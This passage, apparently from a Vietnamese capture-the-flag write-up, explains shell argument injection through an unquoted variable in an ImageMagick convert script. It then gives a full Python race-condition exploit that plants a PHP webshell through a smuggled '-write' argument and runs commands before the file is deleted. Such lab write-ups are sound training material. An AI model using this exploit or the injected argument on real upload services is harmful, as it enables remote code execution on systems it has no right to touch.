=> như ta thấy $1 không nằm trong single quotation từ đó dẫn đến shell argument injection
=> Khi đó ta có thể thêm vào nhiều input thay vì 1 ví dụ convert arg1 arg2 -resize …
=> xóa hết các file có chứa metadata/exif
3. readflag.c
// set uid 0 and print flag.txt
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
system("cat /flag.txt");
return 0;
}
=> Đọc được file flag
=> như vậy từ Dockerfile ta có thể thấy không thể đọc flag với quyền user tuy nhiên ở file này flag.c lại có thể đọc được flag => Làm cách nào đó để trigger được file này thì sẽ in được ra flag
4. app/index.php
=> Như vậy payload đã bị xóa hết các file có chứa exif (Phần EXIF này có thể bị lợi dụng để giấu mã độc hoặc payload (ví dụ: PHP code) mà trình xem ảnh bình thường không hiển thị, nhưng server có thể đọc được)
Vậy làm thế nào để không bị xóa exif
=> RACE CONDITIONNN
Trình tự sẽ như sau
Upload ảnh chứa webshell như đã trình bày ở trên
Request đến và thực thi payload trước khi nó bị xóa bởi convert.sh
import requests
import threading
import sys
URL = ""
CMD = ""
def request_to_upload_file():
files = {
'img' : open('a.jpeg', 'rb')
}
data = {
'name' : 'haha -write /app/shell_magic.php a'
}
requests.post(URL, data=data, files=files)
def request_to_access_file():
res = requests.get(f"{URL}/shell_magic.php?cmd={CMD}")
if res.ok:
print(res.text)
else:
print(f"Failed: {res.status_code}")
def main():
global URL
global CMD
if len(sys.argv) != 3:
print("Usage: python script.py <URL> <CMD>")
return
URL = sys.argv[1]
CMD = sys.argv[2]
threading.Thread(target=request_to_upload_file).start()
threading.Thread(target=request_to_access_file).start()
pass
if __name__ == "__main__":
main()